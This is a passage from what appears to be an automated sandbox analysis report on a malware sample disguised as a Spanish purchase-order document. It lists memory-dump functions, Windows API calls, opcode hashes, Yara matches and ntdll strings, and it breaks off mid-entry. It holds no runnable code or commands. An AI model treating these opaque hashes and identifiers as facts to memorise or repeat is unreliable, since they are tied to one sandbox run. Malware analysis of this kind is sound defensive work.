                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID:
                                                                                                              • API String ID: 2994545307-0
                                                                                                              • Opcode ID: cd8a595a3b06ed45b6181500d4ae140b7535c9590d0a355d5666b1e6d5b6c828
                                                                                                              • Instruction ID: b11bda1167dcb1d084856250c9ffd6fcdb38788864321c42752dc32092fc5b9e
                                                                                                              • Opcode Fuzzy Hash: cd8a595a3b06ed45b6181500d4ae140b7535c9590d0a355d5666b1e6d5b6c828
                                                                                                              • Instruction Fuzzy Hash: 3290023120140402D10079985C48687000D97E0301F55D011A9025755FC66589D16731
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016A2F30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID:
                                                                                                              • API String ID: 2994545307-0
                                                                                                              • Opcode ID: d8fbf8b829bd3c3858787d4d73f355d570e0740827f959159f023d9967b4291d
                                                                                                              • Instruction ID: e81377611e13f970e480913a5d0ef6a3e27da9767d4a39d67e55a36385b8a2d7
                                                                                                              • Opcode Fuzzy Hash: d8fbf8b829bd3c3858787d4d73f355d570e0740827f959159f023d9967b4291d
                                                                                                              • Instruction Fuzzy Hash: 2690026134140442D10075584C54B47000DD7E1301F55C015E5065754EC619CD926726
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016A2FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID:
                                                                                                              • API String ID: 2994545307-0
                                                                                                              • Opcode ID: 0157c528e2e0fec9a876158dafa9d381c38bc930ff4331513c2e9b112012eb38
                                                                                                              • Instruction ID: 27ace079e785f7700a25b356ec17aeccf49de463c00e242915477d9fcdc1187f
                                                                                                              • Opcode Fuzzy Hash: 0157c528e2e0fec9a876158dafa9d381c38bc930ff4331513c2e9b112012eb38
                                                                                                              • Instruction Fuzzy Hash: 04900221211C0042D20079684C54B47000D97D0303F55C115A4155754DC91589A15B21
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016A2FB0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID:
                                                                                                              • API String ID: 2994545307-0
                                                                                                              • Opcode ID: 6246a37f6491512af3d292c67f9f5966ca6c24cf241a99bfea92434f2c094e8b
                                                                                                              • Instruction ID: 648d860938130352b544f578db9937307a6a22fe5f8b31067ed7b8e54fe73b58
                                                                                                              • Opcode Fuzzy Hash: 6246a37f6491512af3d292c67f9f5966ca6c24cf241a99bfea92434f2c094e8b
                                                                                                              • Instruction Fuzzy Hash: CE90022160140042414075688C84947400DBBE1211755C121A4999750EC55989A55B65
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016A2F90 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID:
                                                                                                              • API String ID: 2994545307-0
                                                                                                              • Opcode ID: a836eef6668412440f56710cd147a55bc0ecc58ddff85a6c29ad9e09891a519e
                                                                                                              • Instruction ID: 4abace9a029dc7cf9f6dfba8931b37ebd9d1d150b1fe6512719d0f49351fbc13
                                                                                                              • Opcode Fuzzy Hash: a836eef6668412440f56710cd147a55bc0ecc58ddff85a6c29ad9e09891a519e
                                                                                                              • Instruction Fuzzy Hash: DE90023120180402D10075584C5474B000D97D0302F55C011A5165755EC62589916B71
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016A2EA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID:
                                                                                                              • API String ID: 2994545307-0
                                                                                                              • Opcode ID: e2ce873446be002049a2211f8f33c2baf7a8ca88c873f59b54eabe47a6467198
                                                                                                              • Instruction ID: 5f98373fd7a7d207ad9d499b844e50ce158d6aac5e8e6695e82e072681dbd9f6
                                                                                                              • Opcode Fuzzy Hash: e2ce873446be002049a2211f8f33c2baf7a8ca88c873f59b54eabe47a6467198
                                                                                                              • Instruction Fuzzy Hash: BD90027120140402D14075584C44787000D97D0301F55C011A9065754FC6598ED56B65
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016A2E80 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID:
                                                                                                              • API String ID: 2994545307-0
                                                                                                              • Opcode ID: ae2b32eed0e0413d2a17f998580dc91e3f5afdd30a11992f4f42ad628f1eb409
                                                                                                              • Instruction ID: 8152e81f8531b720cab41ffcc17cfd7fba40b981ea337a6f779840d9f2f2b0e0
                                                                                                              • Opcode Fuzzy Hash: ae2b32eed0e0413d2a17f998580dc91e3f5afdd30a11992f4f42ad628f1eb409
                                                                                                              • Instruction Fuzzy Hash: 8B90022160140502D10175584C44657000E97D0241F95C022A5025755FCA258AD2A731
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00409AA0 Relevance: .1, Instructions: 92COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 9835c872434805b420af9e009800db09fa022f69ef5fa6a2d6e4e63ee433b124
                                                                                                              • Instruction ID: 290ea537485be02d779a264d5a339eceb4dab98af215cfaa17b5abd8430697b8
                                                                                                              • Opcode Fuzzy Hash: 9835c872434805b420af9e009800db09fa022f69ef5fa6a2d6e4e63ee433b124
                                                                                                              • Instruction Fuzzy Hash: FD213AB2D442095BCB21D664AD42BFF73BCAB54314F04007FE949A3182F638BF498BA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0041A693 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68memoryCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              APIs
                                                                                                              • RtlAllocateHeap.NTDLL(&EA,?,00414C9F,00414C9F,?,00414526,?,?,?,?,?,00000000,00409CE3,?), ref: 0041A64D
                                                                                                              • ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A6C8
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AllocateExitHeapProcess
                                                                                                              • String ID: &EA
                                                                                                              • API String ID: 1054155344-1330915590
                                                                                                              • Opcode ID: 74718f39f73767e11d61d1e7c1d9dd5e3dec8e3c8a46534d5e077441bd196523
                                                                                                              • Instruction ID: 3442741909fd3ae836a7a9b636d4f3a5158cea82ca9ee53051834243c9db8715
                                                                                                              • Opcode Fuzzy Hash: 74718f39f73767e11d61d1e7c1d9dd5e3dec8e3c8a46534d5e077441bd196523
                                                                                                              • Instruction Fuzzy Hash: B4119DB5204248AFCB14EFA8DC80DEB77A8AF88314F15864DF95C97242C634E916CBB1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0041A620 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 13 41a620-41a651 call 41af50 RtlAllocateHeap
                                                                                                              APIs
                                                                                                              • RtlAllocateHeap.NTDLL(&EA,?,00414C9F,00414C9F,?,00414526,?,?,?,?,?,00000000,00409CE3,?), ref: 0041A64D
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AllocateHeap
                                                                                                              • String ID: &EA
                                                                                                              • API String ID: 1279760036-1330915590
                                                                                                              • Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
                                                                                                              • Instruction ID: 51260f1f489a67c7b9949974b81657d9e18ee3442a924465d5a53260c52aa3af
                                                                                                              • Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
                                                                                                              • Instruction Fuzzy Hash: AFE012B1200208ABDB14EF99CC41EA777ACAF88664F118559BA1C5B242C630F9118AB4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040830A Relevance: 1.6, APIs: 1, Instructions: 62threadwindowCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 211 40830a-40830c 212 408295-40829e 211->212 213 40830e-40835a call 41be50 call 41c9f0 call 40ace0 call 414e40 211->213 223 40835c-40836e PostThreadMessageW 213->223 224 40838e-408392 213->224 225 408370-40838a call 40a470 223->225 226 40838d 223->226 225->226 226->224
                                                                                                              APIs
                                                                                                              • PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040836A
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: MessagePostThread
                                                                                                              • String ID:
                                                                                                              • API String ID: 1836367815-0
                                                                                                              • Opcode ID: c9fa9b717a73b89cfc8cb1096402c616e658baaf3a741ba5bf89e6e5482e68be
                                                                                                              • Instruction ID: 824987672ed01c09ee9b66fcdf58cf4c3352d779d31f09e622c7ebf533d05529
                                                                                                              • Opcode Fuzzy Hash: c9fa9b717a73b89cfc8cb1096402c616e658baaf3a741ba5bf89e6e5482e68be
                                                                                                              • Instruction Fuzzy Hash: 6B014931A8031876E720A6A59C03FFE775CAB40B54F05026EFF04FA1C1EAA9690542EA
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00408310 Relevance: 1.6, APIs: 1, Instructions: 55threadwindowCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 229 408310-40831f 230 408328-40835a call 41c9f0 call 40ace0 call 414e40 229->230 231 408323 call 41be50 229->231 238 40835c-40836e PostThreadMessageW 230->238 239 40838e-408392 230->239 231->230 240 408370-40838a call 40a470 238->240 241 40838d 238->241 240->241 241->239
                                                                                                              APIs
                                                                                                              • PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040836A
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: MessagePostThread
                                                                                                              • String ID:
                                                                                                              • API String ID: 1836367815-0
                                                                                                              • Opcode ID: b0fcd880289c8ecfbeb793961d9b547f85606b63ac5ed8a73f76917213b02706
                                                                                                              • Instruction ID: d17f8cfce065c66642409dfa920775f821b8147089a61b374e72855f6ed3688e
                                                                                                              • Opcode Fuzzy Hash: b0fcd880289c8ecfbeb793961d9b547f85606b63ac5ed8a73f76917213b02706
                                                                                                              • Instruction Fuzzy Hash: E0018471A8032877E720A6959C43FFE776C6B40F54F05412AFF04BA1C2E6A8690546EA
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0041A7B1 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 268 41a7b1-41a7d9 270 41a7df-41a7f4 LookupPrivilegeValueW 268->270 271 41a7da call 41af50 268->271 271->270
                                                                                                              APIs
                                                                                                              • LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1C2,0040F1C2,0000003C,00000000,?,00409D55), ref: 0041A7F0
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: LookupPrivilegeValue
                                                                                                              • String ID:
                                                                                                              • API String ID: 3899507212-0
                                                                                                              • Opcode ID: 3dd8dddf95c5932f6aa1323c090e32eb977d90218e8a7b8369b87a08571e4ed2
                                                                                                              • Instruction ID: 01149328ab3043017a633e6cc8b1acc7fa4ac83b83ee51ed52c87f83440faf0c
                                                                                                              • Opcode Fuzzy Hash: 3dd8dddf95c5932f6aa1323c090e32eb977d90218e8a7b8369b87a08571e4ed2
                                                                                                              • Instruction Fuzzy Hash: DFF0E5B4604240AFC710DF54C845DD73BA8EF80314F00456EFC695B242C735D415CBA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0041A660 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 272 41a660-41a691 call 41af50 RtlFreeHeap
                                                                                                              APIs
                                                                                                              • RtlFreeHeap.NTDLL(00000060,00409CE3,?,?,00409CE3,00000060,00000000,00000000,?,?,00409CE3,?,00000000), ref: 0041A68D
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FreeHeap
                                                                                                              • String ID:
                                                                                                              • API String ID: 3298025750-0
                                                                                                              • Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
                                                                                                              • Instruction ID: bc8b067cd83da56cee666b5c28ce04d4f8bf1b8054c0557e0bc192b3240f86e0
                                                                                                              • Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
                                                                                                              • Instruction Fuzzy Hash: DAE012B1200208ABDB18EF99CC49EA777ACAF88764F018559BA1C5B242C630E9108AB4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0041A7C0 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 275 41a7c0-41a7f4 call 41af50 LookupPrivilegeValueW
                                                                                                              APIs
                                                                                                              • LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1C2,0040F1C2,0000003C,00000000,?,00409D55), ref: 0041A7F0
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: LookupPrivilegeValue
                                                                                                              • String ID:
                                                                                                              • API String ID: 3899507212-0
                                                                                                              • Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
                                                                                                              • Instruction ID: b271a6b6fd8fca1a6df64550df1cef4b538e167436523c48f1a9ef262b7a55b1
                                                                                                              • Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
                                                                                                              • Instruction Fuzzy Hash: 4FE01AB12002086BDB10DF49CC85EE737ADAF88654F018155BA0C57241C934E8118BF5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0041A6A0 Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A6C8
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450157027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ExitProcess
                                                                                                              • String ID:
                                                                                                              • API String ID: 621844428-0
                                                                                                              • Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
                                                                                                              • Instruction ID: 02052f1feec4c32fa888e0c2ff15824475a9bddcc7bd9f2d7c69f560d23a1846
                                                                                                              • Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
                                                                                                              • Instruction Fuzzy Hash: CBD017726002187BD620EB99CC85FD777ACDF487A4F0180A9BA1C6B242C531BA108AE5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016A2C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: InitializeThunk
                                                                                                              • String ID:
                                                                                                              • API String ID: 2994545307-0
                                                                                                              • Opcode ID: d9048ffc26340c530bb09233c6c16f71e004edd642c97e206816dade177c334f
                                                                                                              • Instruction ID: 717f265e36e9f8125d50d46146fabae36d6587b24a79ce60de830da662f60bb0
                                                                                                              • Opcode Fuzzy Hash: d9048ffc26340c530bb09233c6c16f71e004edd642c97e206816dade177c334f
                                                                                                              • Instruction Fuzzy Hash: 7FB09B719415C5C5DA51E7644E08717790477D0701F55C065D2030751F4738C5D1E775
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Non-executed Functions

                                                                                                              Function 016E2349 Relevance: 26.1, Strings: 20, Instructions: 1117COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: @$@$CFGOptions$DisableExceptionChainValidation$DisableHeapLookaside$ExecuteOptions$FrontEndHeapDebugOptions$GlobalFlag$GlobalFlag2$Initializing the application verifier package failed with status 0x%08lx$LdrpInitializeExecutionOptions$MaxDeadActivationContexts$MaxLoaderThreads$MinimumStackCommitInBytes$RaiseExceptionOnPossibleDeadlock$ShutdownFlags$TracingFlags$UnloadEventTraceDepth$UseImpersonatedDeviceMap$minkernel\ntdll\ldrinit.c
                                                                                                              • API String ID: 0-2160512332
                                                                                                              • Opcode ID: 7b9cd9b05c62c6d7b0db021678e50fdcea96b83a5a932661feb43a0d51bdd65c
                                                                                                              • Instruction ID: 50468fcef389458362a8864abddbf0f06c952bc46572721c6df3d958ec596ffb
                                                                                                              • Opcode Fuzzy Hash: 7b9cd9b05c62c6d7b0db021678e50fdcea96b83a5a932661feb43a0d51bdd65c
                                                                                                              • Instruction Fuzzy Hash: 3D92AC71605342ABE721CF28CC98B6BBBEABB84754F044A1DFA95D7350D770E844CB92
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 01698620 Relevance: 17.7, Strings: 14, Instructions: 223COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              • double initialized or corrupted critical section, xrefs: 016D5508
                                                                                                              • corrupted critical section, xrefs: 016D54C2
                                                                                                              • 8, xrefs: 016D52E3
                                                                                                              • Thread identifier, xrefs: 016D553A
                                                                                                              • Second initialization stack trace. Use dps to dump it if non-NULL., xrefs: 016D54CE
                                                                                                              • Address of the debug info found in the active list., xrefs: 016D54AE, 016D54FA
                                                                                                              • Invalid debug info address of this critical section, xrefs: 016D54B6
                                                                                                              • Thread is in a state in which it cannot own a critical section, xrefs: 016D5543
                                                                                                              • undeleted critical section in freed memory, xrefs: 016D542B
                                                                                                              • Critical section address., xrefs: 016D5502
                                                                                                              • First initialization stack trace. Use dps to dump it if non-NULL., xrefs: 016D54E2
                                                                                                              • Critical section address, xrefs: 016D5425, 016D54BC, 016D5534
                                                                                                              • Critical section debug info address, xrefs: 016D541F, 016D552E
                                                                                                              • Initialization stack trace. Use dps to dump it if non-NULL., xrefs: 016D540A, 016D5496, 016D5519
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: 8$Address of the debug info found in the active list.$Critical section address$Critical section address.$Critical section debug info address$First initialization stack trace. Use dps to dump it if non-NULL.$Initialization stack trace. Use dps to dump it if non-NULL.$Invalid debug info address of this critical section$Second initialization stack trace. Use dps to dump it if non-NULL.$Thread identifier$Thread is in a state in which it cannot own a critical section$corrupted critical section$double initialized or corrupted critical section$undeleted critical section in freed memory
                                                                                                              • API String ID: 0-2368682639
                                                                                                              • Opcode ID: 0b3dfdd72d242ac6d696cbfe3ae12a55c034bb3c0f439c71249e5f71643bd44e
                                                                                                              • Instruction ID: 0b08c4916a615d1aa65178910a116510be5c3f051a6467e8e6c38964831f9c7b
                                                                                                              • Opcode Fuzzy Hash: 0b3dfdd72d242ac6d696cbfe3ae12a55c034bb3c0f439c71249e5f71643bd44e
                                                                                                              • Instruction Fuzzy Hash: 868199B1E41358AFDB21CF99CC45BAEBBB9FB09710F104159F506BB640D3B5A941CBA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 016929F9 Relevance: 14.2, Strings: 11, Instructions: 411COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              • RtlpResolveAssemblyStorageMapEntry, xrefs: 016D261F
                                                                                                              • SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx, xrefs: 016D2602
                                                                                                              • SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 016D2506
                                                                                                              • SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx, xrefs: 016D2624
                                                                                                              • @, xrefs: 016D259B
                                                                                                              • SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries, xrefs: 016D24C0
                                                                                                              • SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx, xrefs: 016D2498
                                                                                                              • SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p, xrefs: 016D22E4
                                                                                                              • SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 016D25EB
                                                                                                              • SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx, xrefs: 016D2412
                                                                                                              • SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx, xrefs: 016D2409
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.1450866073.0000000001630000.00000040.00001000.00020000.00000000.sdmp, Offset: 01630000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_1630000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: @$RtlpResolveAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx$SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p$SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx$SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx$SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx$SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries
                                                                                                              • API String ID: 0-4009184096
                                                                                                              • Opcode ID: 002daacc4221cb75d8c41b83ebd5ef413df2e3ada9cc9887e3f0a2e46ec61296
                                                                                                              • Instruction ID: 444f9544ec616f070546fb8a2bd44ea3943ebbe3b7498d3339913686350dea2a
                                                                                                              • Opcode Fuzzy Hash: 002daacc4221cb75d8c41b83ebd5ef413df2e3ada9cc9887e3f0a2e46ec61296
